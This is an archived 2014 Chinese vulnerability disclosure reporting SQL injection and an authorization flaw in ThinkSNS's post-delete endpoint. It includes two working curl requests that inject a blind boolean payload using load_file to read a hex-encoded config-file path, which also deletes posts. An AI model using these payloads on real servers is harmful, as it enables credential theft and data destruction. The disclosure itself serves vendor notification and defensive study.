漏洞详情

披露状态:

2014-02-11: 细节已通知厂商并且等待厂商处理中
2014-02-12: 厂商已经确认,细节仅向厂商公开
2014-02-15: 细节向第三方安全合作伙伴开放
2014-02-22: 细节向核心白帽子及相关领域专家公开
2014-03-04: 细节向普通白帽子公开
2014-03-24: 细节向实习白帽子公开
2014-05-12: 细节向公众公开

简要描述:

ThinkSNS SQL注入及越权

详细说明:

微吧帖子任意删除, 存在注入

\apps\weiba\Lib\Action\GroupAction.class.php

1.jpg



很明显有问题,



利用:

curl -A "Shockwave Flash" -b "CNZZDATA1702264=cnzz_eid%3D861385407-1376532587-http%253A%252F%252Fwww.th.com%26ntime%3D1379037339%26cnzz_a%3D9%26retime%3D1379037377530%26sin%3Dnone%26ltime%3D1379037377530%26rtime%3D2;PHPSESSID=3a353d4b436d1b09ee22c704da6a5b6a; T3_TSV3_ACTIVE_TIME=1379500687; T3_online_update=1379498853; T3_lang=zh-cn; T3_TSV3_LOGGED_USER=bl" -d "post_id=1 and ascii(load_file(0x433A2F77616D702F7777772F74682F636F6E6669672F636F6E6669672E696E632E706870))>60" "http://www.th.com/index.php?app=weiba&mod=group&act=postDel"



删除post_id=1的帖子失败

2.jpg



curl -A "Shockwave Flash" -b "CNZZDATA1702264=cnzz_eid%3D861385407-1376532587-http%253A%252F%252Fwww.th.com%26ntime%3D1379037339%26cnzz_a%3D9%26retime%3D1379037377530%26sin%3Dnone%26ltime%3D1379037377530%26rtime%3D2;PHPSESSID=3a353d4b436d1b09ee22c704da6a5b6a; T3_TSV3_ACTIVE_TIME=1379500687; T3_online_update=1379498853; T3_lang=zh-cn; T3_TSV3_LOGGED_USER=bl" -d "post_id=1 and ascii(load_file(0x433A2F77616D702F7777772F74682F636F6E6669672F636F6E6669672E696E632E706870))>59" "http://www.th.com/index.php?app=weiba&mod=group&act=postDel"



删除成功

4.jpg

漏洞证明:

见上

修复方案:

美国人懂

版权声明:转载请注明来源 小兔B@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-02-12 10:34

厂商回复:

非常感谢!

最新状态:

暂无


漏洞评价: